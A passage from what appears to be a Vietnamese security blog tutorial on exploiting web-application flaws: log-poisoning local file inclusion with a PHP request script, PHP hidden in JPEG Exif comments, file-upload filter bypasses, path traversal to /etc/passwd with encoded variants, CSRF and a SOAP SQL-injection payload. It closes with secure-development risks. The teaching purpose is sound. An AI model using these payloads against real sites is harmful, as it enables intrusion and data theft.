  • Tất nhiên site sẽ thông báo lỗi bởi vì file <? echo phpinfo(); ?> không tồn tại, và khi đó trong error_log của Apache nó sẽ lưu thông tin về lỗi này như sau:

192.168.1.14 - - [15/Jul/2009:17:54:01 +0700] "GET /demo/index.php?page=%3C?%20echo%20phpinfo();%20?%3E HTTP/1.1" 200 492 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5"  

  • Như vậy trong file log đã encode URL mà chúng ta đệ trình, do vậy chúng ta cần phải gửi request với đoạn code sau:

<?php

$res = '';

$fp = fsockopen('127.0.0.1', 80);

if(!$fp){

echo "No connection";

}

fputs($fp, "GET /demo/index.php?page=<?php echo phpinfo();?> HTTP/1.1\r\n");

fputs($fp, "Host: 127.0.0.1\r\n\r\n");

while(!feof($fp)){

$res .= fgets($fp, 128);

}

echo $res;

?>

  • Sau khi thực hiện gửi request với đoạn mã như trên, thì hệ thống log sẽ ghi vào file log và chúng ta có thể thực hiện khai thác bằng cách: http://example.com/demo/index.php?page=<đường dẫn đến file log>. Như vậy với việc đệ trình URL trên nó sẽ thực thi lệnh có trong file log.

  • Đặt PHP Script trong file JPEG: Trong file jpg thì có phần Exif là phần đầu của file ảnh JPEG, mà nó ghi thông tin về, độ phân giải, ngày tạo, comment, … chúng ta có thể thực hiện chèn PHP script vào phần comment của file JPEG bằng công cụ jhead như sau: ./jhead –ce hack.jpg

  • Xuất hiện cửa sổ cho phép chúng ta soạn thảo phần comment cho file JPEG, ở đây ta lưu comment với nội dung là <? phpinfo(); ?>. Và thực hiện upload ảnh lên server, nếu như server đó bị lỗi local file inclusion thì có thể thực hiện http://www.example.com/index.php?page=hack.jpg, khi đó mã PHP trong hack.jpg sẽ thực thi.

    1. Khai thác lỗ hổng FileUpload

  • Mục đích: Ứng dụng Web hỗ trợ cho phép người sử dụng thực hiện upload file lên server hiện tại có rất nhiều. Ví dụ như upload image(*.gif, *.jpg), *.pdf, *.doc, ... Phần này sẽ trình bày một số lỗi khi lập trình file upload mà kẻ xấu có thể lợi dụng để upload những mã độc lên server.

  • Hướng dẫn:

A.  Trường hợp sử dụng JavaScript để kiểm tra file upload

  • Giả sử ta có kịch bản gồm 2 file như sau:

<html>

<title>Secure file upload PHP Web Applications</title>

<head>

<script language=javascript>

function chkFileExtension()

{

var str=document.upload.userfile.value;

var ext=str.substring(str.length,str.length-3);

if ( ext != "gif")

{

alert("File is invalid");

return false;

}

else

{

return true;

};

}

</script>

</head>

<body>

<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/form-data"  onSubmit="return chkFileExtension()">

Select the file to upload: <input type="file" name="userfile">

<input type="submit" name="upload" value="upload">

</form>

</body>

</html>

  • File upload.php:

<?php

$uploaddir = 'uploads/';

$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {

    echo "File was successfully uploaded.\n";

} else {

    echo "File uploading failed.\n";

}

?>

  • Ví dụ trên cho thấy người lập trình kiểm tra phần mở rộng file cho phép file upload bằng cách sử dụng một đoạn mã Javascript trong file upload1.html. Chỉ chấp nhận những file có phần mở rộng là *.gif thì mới được phép upload, cách này một kẻ tấn công dễ dàng vượt qua bằng cách sử dụng một intercepting proxy hoặc có thể viết một đoạn mã bằng Perl, Python,... mà đệ trình trực tiếp đến file upload1.php với những tham số cần thiết.

B. Trường hợp không sử dụng JavaScript để kiểm tra mà thực hiện kiểm tra trên server với đoạn mã sau:

<?php

if($_FILES['userfile']['type'] != "image/gif") {

    echo "Sorry, we only allow uploading GIF images";

    exit;

}

$uploaddir = 'uploads/';

$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {

    echo "File is valid, and was successfully uploaded.\n";

} else {

    echo "File uploading failed.\n";

}

?>

  • Với đoạn mã trên người lập trình hy vọng ngăn chặn được kẻ tấn công upload file độc hại lên server bằng cách sử dụng kiểm tra type=image/gif. Tức là kiểu file cho phép upload ở đây chỉ có thể là file gif. Điều này cũng không an toàn bởi vì kẻ tấn công có thể thay đổi kiểu type=image/gif cho phù hợp với sự kiểm tra của đoạn mã trên nhưng nội dung vẫn chứa mã độc.

C.  Trường hợp kiểm tra mime

  • Kiểm tra phần nội dung của file upload với đoạn mã sau:

<?php

$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {

    echo "Sorry, we only accept GIF and JPEG images\n";

    exit;

}

$uploaddir = 'uploads/';

$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {

    echo "File is valid, and was successfully uploaded.\n";

} else {

    echo "File uploading failed.\n";

}

?>

  • Như vậy liệu có cải thiện hơn ? An toàn hơn ? Trả lời: có cái thiện hơn nhưng vẫn chưa an toàn. Mặc dù với đoạn mã trên kẻ tấn công không thực hiện thành công như ở ví dụ B, khi thay đổi type=image/gif vì lúc này người lập trình đã kiểm tra nội dung file upload có đúng là gif hay không ?. Nhưng nếu kẻ tấn công sử dụng một file gif và chèn mã độc vào thì thế nào ? Khai thác sẽ thành công !!!!

D.  Trường hợp kiểm tra phần mở rộng của file trên server với đoạn mã sau:

<?php

$blacklist = array(".php", ".phtml");

foreach ($blacklist as $item) {

   if(preg_match("/$item\$/i", $_FILES['userfile']['name'])) {

       echo "We do not allow uploading PHP files\n";

       exit;

   }

}

$uploaddir = 'uploads/';

$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {

    echo "File is valid, and was successfully uploaded.\n";

} else {

    echo "File uploading failed.\n";

}

?>

  • Như vậy với đoạn mã người lập trình đã ngăn chặn kẻ tấn công không thể upload file *.php lên server. Tuy nhiên trường hợp này cũng chưa an toàn với những server mà có cấu hình file *.gif, *.jpg cho phép xử lý PHP. Do vậy kẻ tấn công vẫn upload file gif, jpg lên server nhưng có chèn thêm mã độc vào.

    1. Khai thác lỗi Path Traversal Attack

  • Mục đích: Path Traversal hay còn được biết với một số tên khác như “dot-dot-slash”, “directory traversal”,”directory clumbing” và “backtracking” là hình thức tấn công truy cập đến những file và thư mục mà được lưu bên ngoài thư mục webroot. Hình thức tấn công này không cần sử dụng một công cụ nào mà chỉ đơn thuần thao tác các biến với ../ (dot-dot-slash) để truy cập đến file, thư mục, bao gồm cả source code, những file hệ thống, … Lỗi này thường xuất hiện khi có lỗi Local File Inclusion. Ví dụ:

ttp://seamoun.com/getUserProfile.jsp?page=main.html

http://seamoun.com/index.php?file=help

http://seamoun.com/main.cgi?home=index.htm

  • Hướng dẫn: Khi có được kết quả từ việc spider Website với các URL có dạng như trên, kẻ tấn công có thể sử dụng “../” để thử liệu có truy cập file và thư mục khác được không ? Ví dụ

http://seamoun.com/getUserProfile.jsp?page=../../../etc/passwd

  • Dựa vào thông báo lỗi từ Website kẻ tấn công biết được đường dẫn thực sự trên WebServer, từ đó có thể kết hợp với ../ (dot-dot-slash) để truy cập đến những file quan trong của Website như database, file cấu hình, …Lưu ý rằng Path Traversal không chỉ xảy ra đối với các biến trong phương thức GET mà còn có thể xuất hiện trong các phương thức POST hoặc biến COOKIE. Ví dụ: Một số website có thể sử dụng COOKIE để lưu template động cho Website như sau:

Cookie: ID= 2ddd73ef3620afc62cd6942c31bb6003:TEMPLATE=xpstyle

Cookie: USER=member1234: PSTYLE=Green

  • Như vậy kẻ tấn công có thể thay đổi COOKIE để thực hiện Path Traversal Attack như sau

Cookie: ID= 2ddd73ef3620afc62cd6942c31bb6003:TEMPLATE=xpstyle

Cookie: USER=member1234: PSTYLE=../../etc/passwd

  • Trong quá trình khai thác kẻ tấn công có thể encode hoặc double encode, sử dụng %00(null) để bypass filter mà Website đó áp dụng.

%2e%2e%2f mô tả cho ../

%2e%2e/ mô tả cho ../

..%2f mô tả cho ../

%2e%2e%5c mô tả cho ..\

%2e%2e\ mô tả cho ..\

..%5c mô tả cho ..\

%252e%252e%255c mô tả cho ..\

..%255c mô tả cho ..\

Đối với UTF-8

..%c0%af mô tả cho ../

..%c1%9c mô tả cho ..\

    1. Khai thác lỗi Phân quyền

  • Mục đích: Dựa trên các chức năng chính của ứng dụng mà tìm hiểu những yêu cầu trong điều khiển truy cập theo chiều dọc và chiều ngang. Tức là user có quyền khác nhau thì có truy cập khác nhau và nếu user ngang hàng với nhau thì sẽ truy cập những phần giữ liệu riêng của chúng. Ví dụ như là user bình thường có khả năng truy cập vào dữ liệu của nó, trong khi tài khoản quản trị thì lại có quyền truy cập dữ liệu của tất cả mọi người.

  • Hướng dẫn: Rà soát ứng dụng xem thử chức năng nào liên quan đến chức năng phân quyền và sử dụng tài nguyên để từ đó kiểm tra liệu ứng dụng có khả năng bị tấn công leo thang đặc quyền hay không ? Cách kiểm tra hiệu quả nhất là sử dụng nhiều tài khoản khác nhau với phân quyền khác nhau.

  • Nếu ứng dụng thực thi cách ly đặc quyền theo chiều dọc, bước đầu tiên sử dụng tài khoản cao nhất để xác định tất cả chức năng có thể truy cập. Rồi dùng quyền thấp nhất và thử truy cập đối với mỗi chức năng.

  • Ban đầu thực hiện duyệt ứng dụng trong ngữ cảnh của người sử dụng.

  • Sau đó thực hiện logout và đăng nhập với một tài khoản khác.

  • Sử dụng công cụ có khả năng lưu lại hai sitemap ở cả hai tài khoản khác nhau và thực hiện chức năng so sanh hai sitemap.

  • Nếu như ứng dụng thực thi theo chiều ngang, thì thực hiện sử dụng hai tài khoản có cùng cập độ. Sau đó thử đăng nhập tài khoản của người này nhưng lại truy cập vào vùng dữ liệu của người kia. Thông thường là có sự thay đổi về định danh tài nguyên (như là documentID)

  • Thực hiện kiểm tra điều khiển truy cập theo hướng logic

  • Đối với mỗi đặc quyền của người sử dụng, quan sát tài nguyên có thể đối với người sử dụng.

  • Thử truy cập những nguồn tài nguyên này từ những tài khoản chưa chứng thực bằng cách thay thế các yêu cầu.

  • Khi thực hiện bất kỳ kiểm tra nào đối với điều khiển truy cập, đảm bảo rằng mỗi bước kiểm tra của những chức năng nhiều trạng thái một cách độc lập để xác nhận rằng liệu các điều khiển truy cập có được phù hợp đối với mỗi trạng thái.

    1. Khai thác lỗi CSRF

  • Mục đích: Nếu như ứng dụng chỉ dựa vào mỗi HTTP cookies thì ứng dụng có nguy cơ bị lỗi CSRF.

  • Hướng dẫn:

  • Quan sát các chức năng cốt lỗi của ứng dụng và xác định các yêu cầu thực hiện đối với các dữ liệu nhạy cảm, nếu như mà kẻ tấn công có thể xác định được toàn bộ tham số đối với các yêu cầu (cho dù không thể xác định HTTP cookies) thì ứng dụng vẫn bị lỗi CSRF.

  • Tạo ra trang HTML mà thực hiện những yêu cầu mong muốn mà không có sự tương tác về người dùng. Đối với các yêu cầu sử dụng GET thì có thể sử dụng thẻ <img> với tham số src=“chứa liên kết”.

  • Nếu như những yêu cầu là POST có thể tạo ra những trường ẩn để chứa các tham số và có thể sử dụng Javascript để thực hiện tự động đệ trình form ngay sau khi trang được nạp.

3.  Nguy cơ an toàn thông tin đối với ứng dụng web

  • Trong mục trên đã trình bày phương pháp cách khai thác lỗ hổng ứng dụng web, qua đó thấy được nguy cơ đối với các hệ thống, vận hành, ứng dụng web. Nói đến an toàn trong ứng dụng web – Web Application, suy nghĩ đầu tiên thường là phát triển một ứng dụng web. Do đó, việc đảm bảo an toàn thông tin cho ứng dụng web – web app nói chung thường xoay quanh việc phát triển một ứng dụng web an toàn. Để có thể phát triển một ứng dụng web an toàn – là một ứng dụng web ”phòng tránh được nhiều nhất các nguy cơ đã biết”. Trong đó có các nguy cơ sau:

  • Nguy cơ do lập trình không an toàn.

  • Nguy cơ do sử dụng các thư viện, third party không an toàn.

  • Nguy cơ do sử dụng công nghệ web không an toàn.

  • Nguy cơ do thiết kế, phân tích yêu cầu

A.  Nguy cơ do lập trình không an toàn: 

  • Đây là nguy cơ thường thấy rõ nhất đối với các ứng dụng web. Như đã trình bày ở trên, điểm qua đã có 10 lỗi trong OWASP top 10, và mỗi lỗi lại có những hình thái khai thác, tấn công khác nhau. Nhấn mạnh đây chỉ là 10 lỗi trong OWASP top 10, một bản danh sách tập trung các loại lỗ hổng trong ứng dụng web, rồi từ đó chọn ra 10 lỗi nguy hiểm nhất. Tuy nhiên thực sự số lượng các loại lỗi thì sẽ còn nhiều hơn nữa. Một tài liệu khác là ”OWASP Testing Guide” đã liệt kê tương đối đầy đủ các loại lỗ hổng trong ứng dụng web và trong phiên bản đầy đủ hiện tại (phiên bản 3) có 66 lỗi, còn đối với phiên bản mới nhất (phiên bản 4) số lỗi là xấp xỉ 90 lỗi. Thực tế số lượng lỗi là tăng lên từng ngày, cả về số lượng, mức độ ảnh hưởng, nguy hiểm.

  • Trong đó, các lỗi ứng dụng web – web application chủ yếu tập trung trong giai đoạn phát triển, trong các thao tác xử lý dữ liệu đầu vào từ người dùng, xử lý xuất dữ liệu, xử lý logic nghiệp vụ ... 

  • Ví dụ: Xử lý tương tác cơ sở dữ liệu không tốt dẫn tới lỗi SQLinjection, xử lý xuất đầu ra cho người dùng không tốt dẫn tới lỗi XSS...

  • Lưu ý rằng, trong một ứng dụng, số lượng dòng code, điểm tương tác là vô cùng lớn. Lỗ hổng bảo mật có thể xuất hiện bất kỳ đâu. Việc kiểm soát code phải thực hiện toàn diện, triệt để.

  • Để đảm bảo an toàn thông tin trong phát triển ứng dụng web – tạo ra được một ứng dụng web an toàn thì cần phải tuân theo Guideline, quy định trong phát triển ứng dụng web. Đặc biệt phải là ”Guideline lập trình an toàn trong phát triển ứng dụng web” và ”Quy trình phát triển phần mềm

B.  Nguy cơ sử dụng các thư viện, third party không an toàn

  • Trong phát triển phần mềm, thông thường sử dụng một framework hoặc thư viện nào đó có sẵn. Điều đó mang lại:

  • Tiết kiệm thời gian: Xây dựng một Framework chỉ một lần, dùng mãi mãi. Tiết kiệm thời gian triển khai, đào tạo sử dụng framework.

  • Hỗ trợ nhiều: Được hỗ trợ nhiều về mặt nội dung, tính năng cũng như tài liệu.

  • Dễ dàng quản lý, cập nhật: Tất cả sử dụng một framework sẽ dễ dàng cho việc quản lý, cập nhật.

  • Tuy nhiên, sử dụng các thư viện có sẵn sẽ phải đối mặt với nguy cơ:

  • Không control được toàn bộ code: Việc sử dụng một bộ thư viện do người khác phát triển thì phải đối mặt với các nguy cơ khi không hiểu được hoàn toàn nội dung bên trong sản phẩm.

  • Framework mắc lỗi thì tất cả mắc lỗi: Với nền tảng là Framework, khi Framework mắc lỗi là hệ thống sẽ mắc lỗi. Rõ ràng đơn vị vận hành sẽ luôn phải đối mặt với nguy cơ Framework có lỗi.

  • Sử dụng các Sample code, HelloWord: Các đoạn mã này thường được làm ví dụ mô tả cho các chức năng, chưa được triển khai lập trình an toàn. Việc sử dụng các ví dụ này rõ ràng không đảm bảo an toàn thông tin.

  • Khi sử dụng Framework, cái lợi nhận được là vô cùng lớn, tuy nhiên những nguy cơ phái đổi mặt cũng lớn. Dù là framework, hay mã nguồn nào đi nữa cũng có khả năng mắc lỗi. Việc sử dụng Framework trong một hệ thống lớn, quy mô cần phải được suy xét.

Hình 26: Các lỗ hổng bảo mật của Struts.

Hình 27: Khai thác lỗ hổng FCK editor

  • Nên tự phát triển một Framework của cá nhân tổ chức, không sử dụng các thành phần khác khi chưa hiểu toàn bộ mã nguồn. Tránh sao chép mã nguồn từ các tổ chức để hoàn thiện sản phẩm.

  • Khi sử dụng các sản phầm, phải đảm bảo hiểu được toàn bộ code, xóa bỏ các thành phần không an toàn, thừa trước khi sử dụng.

C.  Nguy cơ sử dụng các công nghệ web không an toàn

  • Trong phần kiến thức cơ sở đã giới thiệu về các công nghệ web cơ bản. Bản thân các công nghệ này là không có lỗi. Tuy nhiên, để hỗ trợ cho người dùng thì các công nghệ này sẽ  hỗ trợ thêm các thành phần mở rộng. Thông thường, đây chính là điểm kẻ tấn công lợi dụng để khai thác.

  • Ví dụ như Webservice: Mô hình tổng quan về ứng dụng web services





  • Mô hình tổng quan ứng dụng web services


  • Về tổng quan ứng dụng web services cũng tương tự như ứng dụng web có thể mắc các lỗi an toàn thông tin về (validate dữ liệu đầu vào/đầu ra, các lỗi về logic, quản lý phiên…). Ví dụ cụ thể một số lỗi như sau:

  • Brute Force

  • Information Disclosure

  • SQL Injection

  • LDAP Injection

  • Session Hijacking

  • Denial of Service (DoS)

  • Buffer Overflows

  • Cross Site Scripting

  • XML Injection

  • XPATH Injection

  • WSDL Manipulation

  • DOS (Intensive XML load)

  • Ví dụ khai thác lỗi sql injection trên web services

<?xml version=“1.0” encoding=“utf-8” standalone=“no” ?>

<SOAP-ENV:Envelope xmlns:SOAPSDK1=“http://www.w3.org/2001/XMLSchema”xmlns:SOAPSDK2=“http://www.w3.org/2001/XMLSchema-instance xmlns:SOAPSDK3=“http://schemas.xmlsoap.org/soap/encoding/” xmlns:SOAP-ENV=http://schemas.xmlsoap.org/soap/envelope/>

  <SOAP-ENV:Body>

<SOAPSDK4:MethodName xmlns:SOAPSDK4=“http://urltoapp/…”>

<SOAPSDK4:username>administrator</SOAPSDK4:username>

<SOAPSDK4:password>’ OR ‘1’=‘1</SOAPSDK4:password>

  </SOAP-ENV:Body>

 </SOAP-ENV:Envelope>

D.  Nguy cơ do thiết kế, phân tích yêu cầu

  • Phân tích yêu cầu, từ đó xây dựng đặc tả, thiết kế phần mềm là bước đầu tiên trong phát triển một phần mềm. Dễ thấy nếu ứng dụng phân tích, thiết kế chưa tốt sẽ dẫn tới nhiều hậu quả nghiêm trọng, bao gồm:

  • Lỗ hổng trong cơ chế xử lý: Các cơ chế xử lý người dùng (đăng nhập, quản lý phiên, đăng xuất, thay đổi mật khẩu...) xử lý không tốt, cho phép kẻ tấn công lợi dụng thực hiện tấn công chiếm tài khoản người dùng.

  • Lỗ hổng trong logic, nghiệp vụ: Thông thường nghiệp vụ xử lý là: A – B –C hay 1 – 2 – 3. Sẽ ra sao nếu người dùng cố tình thực hiện thay đổi nghiệp vụ, lợi dụng nghiệp vụ không chặt ? Ví dụ: Điểm yếu trong cơ chế kiểm tra, nhận dạng hồ sơ hợp lệ cho phép kẻ tấn công thực hiện nhập hàng loạt hồ sơ không hợp lệ.

  • Thiết kế chưa lường trước được các nguy cơ: Thiết kế phải xác định được các nguy cơ mà lỗ hổng đối diện. Nếu không xác định được đầy đủ ? Các hệ thống bình thường, phổ biến thì việc xác định này sẽ đơn giản hơn. Tuy nhiên đối với các hệ thống đặc thù (banking, thương mại điện tử, quân sự) đòi hỏi nhiều tiêu chuẩn khắt khe, ràng buộc hơn. Cán bộ thực hiện phân tích, thiết kế phải thực sự hiểu rõ về phương pháp, đặc thù hệ thống, cũng như kiến thức an toàn thông tin để đưa ra thiết kế hợp lý.

  • Không giống như những lỗ hổng khác có thể dễ dàng khắc phục, phát hiện. Các lỗ hổng liên quan đến thiết kế, logic này rất khó để phát hiện bằng các phương pháp như sử dụng firewall, phân tích mẫu, hay bất thường mạng. Tương tác vẫn giống như một người dùng bình thường, hợp lệ. Việc phát hiện lỗi này cần có cơ chế đối soát, kiểm soát tác động, logs.

  • Do đó cần phải thiết kế, phân tích yêu cầu an toàn. Đảm bảo tránh hoàn toàn các lỗi do việc thiết kế không tốt.

Comments

Popular posts from this blog

Python - Multithread to read one file

Install Xposed Inspector and Frida on Genymotion

OpenCA tutorial